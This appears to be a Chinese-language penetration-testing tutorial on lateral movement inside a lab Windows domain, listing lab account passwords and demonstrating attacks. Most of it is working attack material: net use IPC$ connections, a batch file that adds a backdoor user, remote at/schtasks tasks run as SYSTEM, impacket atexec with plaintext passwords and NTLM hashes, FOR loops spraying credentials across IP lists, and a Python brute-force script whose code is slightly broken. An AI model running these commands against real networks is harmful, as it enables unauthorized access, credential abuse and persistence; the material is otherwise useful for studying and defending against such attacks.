环境配置
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
——————————————————- 2003 x86 fileserver
域内文件服务器
本地管理员账号密码 : administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
——————————————————- 2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
——————————————————- 2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45 当前机器域用户密码 :
god\dbadmin:admin!@#45
——————————————————- w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
——————————————————- w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 : .\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
演示案例:
横向渗透明文传递 at&schtasks
横向渗透明文 HASH 传递 impacket
横向渗透明文 HASH 传递批量利用-综合
横向渗透明文 HASH 传递批量利用-升级版
案例 1-横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?
这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
利用流程
- 建立 IPC 链接到目标主机
2. 拷贝要执行的命令脚本到目标主机
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4. 删除 IPC 链接 ```powershell工作组
net use \server\ipc$”password” /user:username
域内
net use \server\ipc$”password” /user:domain\username
查看文件列表
dir \xx.xx.xx.xx\C$\
下载文件
copy \xx.xx.xx.xx\C$\1.bat 1.bat
复制文件
copy 1.bat \xx.xx.xx.xx\C$
删除 IPC
net use \xx.xx.xx.xx\C$\1.bat /del
查看对方共享
net view xx.xx.xx.xx
<a name="PmMWn"></a>
#### 建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 <br />(2)51:网络问题,Windows 无法找到网络路径<br />(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题<br />(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$<br />(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除<br />(6)1326:账号密码错误<br />(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况<br />(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
<a name="U8zSu"></a>
#### 建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统<br />(2)对方没有打开 IPC$共享<br />(3)对方未开启 139、445 端口,或者被防火墙屏蔽<br />(4)输出命令、账号密码有错误
<a name="u5wIX"></a>
#### [at] & [schtasks]
- at < Windows2012
```powershell
# 建立 ipc 连接:
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad ministrator
# 拷贝执行文件到目标机器
copy add.bat \\192.168.3.21\c$
# add.bat
net user xiaodi qwe123!@#X. /add
#添加计划任务
at \\192.168.3.21 15:47 c:\add.bat
- schtasks >=Windows2012
```powershell
建立 ipc 连接:
net use \192.168.3.32\ipc$ “admin!@#45” /user:god.org\administrator
复制文件到其 C 盘
copy add.bat \192.168.3.32\c$
创建 adduser 任务 对应执行文件
schtasks /create /s 192.168.3.32 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\add.bat /F
运行 adduser 任务
schtasks /run /s 192.168.3.32 /tn adduser /i
删除 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f
<a name="slCYx"></a>
### 案例 2-横向渗透明文 HASH 传递 atexec-impacket
Impacket官方仓库<br />[https://github.com/SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket)
EXE打包版<br />[https://github.com/maaaaz/impacket-examples-windows](https://github.com/maaaaz/impacket-examples-windows)
```powershell
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
案例 3-横向渗透明文 HASH 传递批量利用-综合
#批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator
#批量检测 IP 对应明文 回显版
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami
#批量检测明文对应 IP 回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami
# 批量检测 HASH 对应 IP 回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami
案例 4-横向渗透明文 HASH 传递批量利用-升级版
前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能吃西瓜?
pip install pyinstaller
pyinstaller -F fuck_neiwang_001.py
import os,time
ips = {
}
# net user /domain
users = {
'Administrator',
'dbadmin'
}
passs = {
}
for ip in ips:
for user in users:
for mima in passs:
exec = "net use \\" + ip + '\ipc$' + mima + ' /user:god\\' + user
print('--->' + exec + '<---')
os.system(exec)
time.sleep(1)